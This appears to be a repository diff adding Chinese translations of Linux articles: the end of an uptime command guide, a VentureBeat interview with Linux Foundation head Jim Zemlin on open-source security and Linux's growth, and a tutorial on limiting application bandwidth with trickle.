最后一个信息是系统的平均负载量。回到图1,你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比,即0.25和0.19分别代表着25%和19%。0.25, 0.25, 0.19分别代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。
|
||||
|
||||
这就是**uptime** 命令的日常使用指导,如果想获取更详细的信息,请通过输入**man uptime** 进入uptime 命令的manual 页面来查看。
|
||||
|
||||
你的机器已经运行多久了?贴出你的uptime给大家看看吧。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/linux-uptime-command/
|
||||
|
||||
译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,86 @@
|
||||
Linux领袖说:‘开源很安全,Linux比其它任何系统都安全’
|
||||
================================================================================
|
||||
在对Linux基金会执行官,Jim Zemlin 的采访中,VentureBeat 展望了2014年开源操作系统的未来。
|
||||
|
||||
访谈中我们也探讨了争议性的话题,就是政府部门的监听事件以及‘后门’-那些邪恶的窗口,窥探我们网上的私生活,最近公众发现我们经常使用的大多数服务都有类似的遭遇。
|
||||
|
||||
Zemlin 为我们解释了 GNU/Linux 为什么以及如何使它成为内心有些担忧的消费者的最安全的选择。还有就是为什么选择GNU/Linux作为能源汽车、手机、TV以及其它新兴设备的操作系统。
|
||||
|
||||
以下是我们完整的e-mail访谈实录
|
||||
|
||||
----------
|
||||
|
||||
**VentureBeat: 安全和隐私一直是本年度最热门的话题,我们听到的谣言,Linus[Torvalds, Linux 创始人]对政府部门是否有植入后门的要求点头称是。**
|
||||
|
||||
**Zemlin**: 如果Linux真有后门,你应该知道的。
|
||||
|
||||
全世界的用户都可以看到Linux的每一行代码。这也是linux要比其他操作系统更安全、开源整体要比闭源更安全的原因之一。代码的透明度保证了它的安全性。
|
||||
|
||||
必须明确指出:Linux没有后门。
|
||||
|
||||
**VentureBeat: Linux基金会如何保证Linux用户的隐私和自由,使其免于遭受追踪和监视?**
|
||||
|
||||
**Zemlin**: 对此,我们一以贯之。向内核插入违反隐私权和背离自由精神的代码而不被成千上万的开发者注意到,这是很难的。Linux的本性就是自我定制。
|
||||
|
||||
**VentureBeat: 今年的隐私/安全/监视事件会不会促使, 或者将会促使更多的消费者倾向于Linux,对此你作何感想?**
|
||||
|
||||
**Zemlin**: 世界范围内,我听到人们都在说,“用开源保证隐私是必须的。”的确,那会促使更多的使用者选择Linux。
|
||||
|
||||
除了他们对linux平台下的隐私和安全持自信、信任的态度以外, 我认为消费者会基于多种原因选择Linux。
|
||||
代码的透明性以及开发过程逐渐给予日渐博学和警觉的消费者一个选择,一个会让他们对linux感觉良好的选择。
|
||||
|
||||
[视频游戏发行商] Valve [及其SteamOS下的工作][1] 正在促使更多的消费者走进Linux,就像逐渐占据主导地位的Android和其他运行Linux的电子设备一样,比如电视、家电、汽车等,当然还有更多。
|
||||
|
||||
**VentureBeat: 针对手机的Ubuntu Edge, 对它有何看法? 对于2014-2015年Linux/Ubuntu手机市场走势,你作何预测?**
|
||||
|
||||
**Zemlin**:我希望看到潜在的有趣的新产品进入市场,尤其是基于Linux的产品。很难说每年哪款产品会成为手机市场的新宠。
|
||||
|
||||
我认为预测基于Linux的手机将占据主导地位,不算夸大事实。Android, Tizen, Ubuntu, Firefox,等等等等,都显示出Linux可以驱动手机市场的创新,并且为消费者创造新的体验,为开发者和OEMs创造机会。
|
||||
|
||||
明年令人振奋的发展,也是我所关注的就是linux和开源界如何把这些设备、对象和服务关联到一起。
|
||||
|
||||
**VentureBeat: 目前为止,你看到的linux嵌入式车载系统的最令人激动的使用案例是什么?**
|
||||
|
||||
**Zemlin**: 毫无疑问,就是,Cadillac, Tesla, Toyota, Jaguar, Land Rover等都搭建了车载信息娱乐系统。
|
||||
|
||||
比如,今年赢得了 “年度汽车族”奖项的Tesla Model S,装备了一个17英寸平面、运行着定制Linux的电脑。这真的是太酷了。
|
||||
|
||||
2014年度汽车族刚刚揭晓 -- Cadillac CTS sedan, 也是使用linux作为车载信息娱乐系统。汽车制造商有能力使用linux进行创新并区别使用这些系统。
|
||||
|
||||
Linux的成功也能从来自IHS汽车的最新数据上看到,IHS本月报告称,在全球车载信息娱乐市场,基于linux的汽车销量2020年有望达到5370万,超过微软和黑莓QNX。
|
||||
|
||||
Linux基金会协同汽车级Linux工作组在该领域做了许多工作。通过在Linux内核社区,其他开源社区,以及汽车行业,营造一个中立、支持性的环境,我们能够帮助一些世界级巨头汽车制造商提高汽车Linux技术,如日产,捷豹,路虎,丰田,等等。
|
||||
|
||||
**VentureBeat: 在硬核开发者市场以外,Linux是如何发展壮大的,尤其是考虑到消费者和游戏玩家?**
|
||||
|
||||
**Zemlin**:可以肯定的是,对游戏玩家来说,今年确实是linux的一个转折点。Valve, 一个基于Steam网络平台的一个游戏厂商,在linux上构建并运行所有的源代码和动画。Valve的CEO Gabe Newell 称,今年的LinuxCon大会上他们在linux平台运行了198个游戏,随着引进基于linux的Steam,这个数字还会上升。这是Linux和游戏界新趋势的开端。
|
||||
|
||||
用户每天都在用linux。软件支撑着我们的日常生活。像Google,Facebook还有Twitter等公司,都建立在Linux和开源软件之上。去年10月份LinuxCon欧洲大会上,来自Twitter的Chris Aniszczyk告诉听众:
|
||||
“Twitter 理所当然完全运行在linux上。为什么你们还需要其他的东西?”(译注:言外之意就是有linux就够了,不需要别的什么东西了。)
|
||||
|
||||
如今Linux驱动着130万台日常所用Android手机,每天近60万基于linux的新电视售出。新的家电以及汽车都建立在linux之上。主要交通系统也都在使用linux。最受欢迎的[GoPro 使用linux和开源软件][2]。这样的例子层出不穷。
|
||||
|
||||
Linux和开源理念将会逐渐融入主流消费者的生活。三星使用linux内核以及基于linux的产品充实它的产品线,从电视机到手机,再到家电,等等等等。
|
||||
|
||||
敬请关注 - 未来你将看到更多实例,展现了Linux和开源软件,以及协同开发在日常生活中发挥越来越大的作用。
|
||||
|
||||
**VentureBeat: 在你看来,到2014年,免费和开源软件最大的机遇会是什么?**
|
||||
|
||||
**Zemlin**: 我们已经谈到游戏和电子设备,但是企业将会继续为linux呈现更多的机会。云计算的兴起为开发者带来新的机遇和挑战。你可以试着去找找不运行在linux上的公共云。
|
||||
|
||||
软件定义的网络(SDN)实现将成为2014年的主要活动之一。人们并没有期望着软件定义网络以及网络功能虚拟化变得多么大。想想吧。数十亿美元花费在硬件上,交换机,路由,负载均衡器,防火墙等等。这些都抽象成了软件。更更重要的是,它是在开源软件的基础架构甜蜜点OSS层被抽象。我认为你会看到,像OpenDaylight项目以及其他项目,在2014年都会有大的突破。
|
||||
|
||||
当然,这只是实现协同发展的大趋势的一部分,你的读者应该会对此感兴趣。我的推测是再过一个20年,几乎所有的基础软件都会以协同开发的方式进行构建。2014年开发者需要学习如何以协同方式构建软件,要学会如何参与开源项目并且贡献代码。如果开发者能够理解协同开发和开源的原则和理念,那么他们职业生涯中的机遇将会是无穷的。
|
||||
|
||||
参与到linux的世界中来是一个激动人心的时刻。从智能手表到电视机,到汽车,只要你能想到,Linux就能为你实现。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://venturebeat.com/2013/11/26/linux-chief-open-source-is-safer-and-linux-is-more-secure-than-any-other-os-exclusive/
|
||||
|
||||
译者:[l3b2w1](https://github.com/l3b2w1) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://venturebeat.com/2013/09/23/steamos-valves-linux-based-operating-system-for-the-tv-and-living-room/
|
||||
[2]:http://gopro.com/support/open-source
|
@ -0,0 +1,154 @@
|
||||
Linux 下使用Trickle限制下载/上传带宽
|
||||
================================================================================
|
||||
|
||||
你有没有遇到过一个程序占用了你所有的网络带宽的情况?如果你遇到过,那么你就需要限制带宽的应用。不管你是一个系统管理员还是一名普通Linux用户,您都应该学习如何控制应用的上传和下载速度来确保你的网络带宽不会被一个程序耗光。
|
||||
|
||||

|
||||
|
||||
### Trickle 是什么? ###
|
||||
|
||||
**Trickle**是一款带宽控制供给,用来限制如**Firefox, FTP , SSH**以及其他使用网络带宽的程序的带宽。你希望你的**Youtube**音乐体验影响到你的ftp下载么?如果不想,请继续阅读这篇文章,学习如何在你的机器上安装和使用trickle。
|
||||
|
||||
### 怎样在Linux上安装Trickle ###
|
||||
|
||||
trickle工具有一些依赖包,安装和使用trickle之前必须安装“**libevent 库**”,不过这个库在大多数现在的Linux机器上已经默认安装。
|
||||
|
||||
#### 在 Debian/Ubuntu/Linux Mint 上####
|
||||
|
||||
在**Debian/Ubuntu/Mint** 机器上运行 **apt-get install trickle**进行安装。请确保源列表已经更新,接着安装你想要的应用。
|
||||
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install trickle
|
||||
|
||||
#### 在 RHEL/CentOS/Fedora 上####
|
||||
|
||||
首先你需要更新系统,然后使用下面的命令安装trickle。
|
||||
|
||||
# yum update
|
||||
# yum install trickle
|
||||
|
||||
### Trickle如何工作? ###
|
||||
|
||||
Trickle通过控制socket数据读写量来控制和限制应用的**上传/下载**速度。它使用另一个版本的**BSD**套接字API,但是区别是trickle还管理socket调用。
|
||||
|
||||
要注意的是trickle使用动态链接和加载,所以它只对于使用"Glibc库"的程序有用。由于trickle可以设置数据在socket上的传输延迟,所以它可以用来限制一个应用的网络带宽。
|
||||
|
||||
### Trickle不能做什么? ###
|
||||
|
||||
Trickle不能用于限制使用**UDP**协议的应用的带宽,它只可用于**TCP**连接,但是你要知道它也并不是对所有的**TCP**连接有效。如果你一直仔细地看这篇文章,你可以猜到原因是什么。你还记得trickle只对使用**Glibc库**应用有效吧?
|
||||
|
||||
还要说一下,trickle无法工作在使用静态链接的可执行程序上。
|
||||
|
||||
### 确定Trickle是否可运行在某个特定应用上 ###
|
||||
|
||||
既然trickle无法限制每个应用的**上传/下载**速度,就应该有个方法找出trickle可以工作的应用。
|
||||
|
||||
**ldd**工具可以帮我们找出某个特定的程序是否使用了**libc.so**库。如果程序使用了这个库,就可以使用trickle来限制它的网络带宽使用。
|
||||
|
||||
**ldd**命令用于打印每个程序需要的共享库。如果你是一个好奇的**Linux Geek**,那么你可以使用man命令来找出关于ldd工具的更多信息。
|
||||
|
||||
# man ldd
|
||||
|
||||
**Filezilla**是一款使用ftp协议传输文件的程序,trickle可以用来限制它的下载或者上传速度么?在你考虑的时候,我使用以下的命令来找出trickle是否可用于filezilla。
|
||||
|
||||
# ldd filezilla | grep libc.so
|
||||
|
||||
就我而言,它输出了如下:
|
||||
|
||||
oltjano@oltjano-X55CR:/usr/bin$ ldd filezilla | grep libc.so
|
||||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb6bc4000)
|
||||
|
||||
既然filezilla使用了“**libc.so**”库,那么trickle可以用来限制它的网络带宽。这个方法可以用在任何你感兴趣的程序上。
|
||||
|
||||
### 学习如何使用Trickle ###
|
||||
|
||||
使用下面的命令输出trickle工具的**版本**。
|
||||
|
||||
root@oltjano-X55CR:~# trickle -V
|
||||
trickle: version 1.07
|
||||
|
||||
Linux有很多命令行工具使测试(实验)变得有趣和美丽。下面的命令使用[wget 工具][1]来下载最新的Pear OS镜像.
|
||||
|
||||
root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
|
||||
|
||||
--2013-11-20 11:56:32-- http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
|
||||
Resolving sourceforge.net (sourceforge.net)... 216.34.181.60
|
||||
Connecting to sourceforge.net (sourceforge.net)|216.34.181.60|:80... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384928843&use_mirror=kaz [following]
|
||||
--2013-11-20 11:56:33-- http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384928843&use_mirror=kaz
|
||||
Resolving downloads.sourceforge.net (downloads.sourceforge.net)... 216.34.181.59
|
||||
Connecting to downloads.sourceforge.net (downloads.sourceforge.net)|216.34.181.59|:80... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso [following]
|
||||
--2013-11-20 11:56:33-- http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso
|
||||
Resolving kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)... 88.204.157.163
|
||||
Connecting to kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)|88.204.157.163|:80... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 1093664768 (1.0G) [application/octet-stream]
|
||||
Saving to: ‘download’
|
||||
|
||||
0% [ ] 30,78,278 381KB/s eta 1h 50m
|
||||
从输出可以看到,下载速度大约是**381 KB/s**。我想限制下载速度到**13 K/s**,这样我就可以用我的带宽做其他的事情了。下面的命令用来限制wget速度到**13 K/s**。
|
||||
|
||||
ravisaive@ravisaive-OptiPlex-380:~$ trickle -d 13 wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
|
||||
|
||||
--2013-11-20 12:01:19-- http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download
|
||||
Resolving sourceforge.net (sourceforge.net)... 216.34.181.60
|
||||
Connecting to sourceforge.net (sourceforge.net)|216.34.181.60|:80... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384929129&use_mirror=kaz [following]
|
||||
--2013-11-20 12:01:19-- http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384929129&use_mirror=kaz
|
||||
Resolving downloads.sourceforge.net (downloads.sourceforge.net)... 216.34.181.59
|
||||
Connecting to downloads.sourceforge.net (downloads.sourceforge.net)|216.34.181.59|:80... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso [following]
|
||||
--2013-11-20 12:01:20-- http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso
|
||||
Resolving kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)... 88.204.157.163
|
||||
Connecting to kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)|88.204.157.163|:80... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 1093664768 (1.0G) [application/octet-stream]
|
||||
Saving to: ‘download.1’
|
||||
|
||||
0% [ ] 2,01,550 13.1KB/s eta 21h 5m
|
||||
|
||||
从输出可以看到,下载速度被限制到了**13K/s**。下载将会持续**21小时5分钟**。上面的“**-d**”选项表示下载,还可以结合使用 “**-d**”选项和上传选项(**-u**),如下例所示。
|
||||
|
||||
# trickle -u 100 -d 50 ftp
|
||||
|
||||
上面的命令限制**ftp 客户端**的上传速度为**100K/s**,下载速度为**50K/s**。还可以使用下面的命令,限制在一个shell里运行的所有命令的带宽。
|
||||
|
||||
trickle -d 130 -u 13 bash
|
||||
|
||||
每个命令行工具都对用户提供了帮助,使用"trickle -h"命令来找出更多trickle工具的用法。
|
||||
|
||||
root@oltjano-X55CR:/usr/bin# trickle -h
|
||||
|
||||
Usage: trickle [-hvVs] [-d <rate>] [-u <rate>] [-w <length>] [-t <seconds>]
|
||||
[-l <length>] [-n <path>] command ...
|
||||
-h Help (this)
|
||||
-v Increase verbosity level
|
||||
-V Print trickle version
|
||||
-s Run trickle in standalone mode independent of trickled
|
||||
-d <rate> Set maximum cumulative download rate to <rate> KB/s
|
||||
-u <rate> Set maximum cumulative upload rate to <rate> KB/s
|
||||
-w <length> Set window length to <length> KB
|
||||
-t <seconds> Set default smoothing time to <seconds> s
|
||||
-l <length> Set default smoothing length to <length> KB
|
||||
-n <path> Use trickled socket name <path>
|
||||
-L <ms> Set latency to <ms> milliseconds
|
||||
-P <path> Preload the specified .so instead of the default one
|
||||
|
||||
### 总结 ###
|
||||
|
||||
本篇文章介绍如何在Linux机器上安装trickle工具,并用它如何做一些简单的事情。无论你为大公司工作还是自己使用,trickle都是高级Linux用户的必备工具。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/manage-and-limit-downloadupload-bandwidth-with-trickle-in-linux/
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.tecmint.com/10-wget-command-examples-in-linux/
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user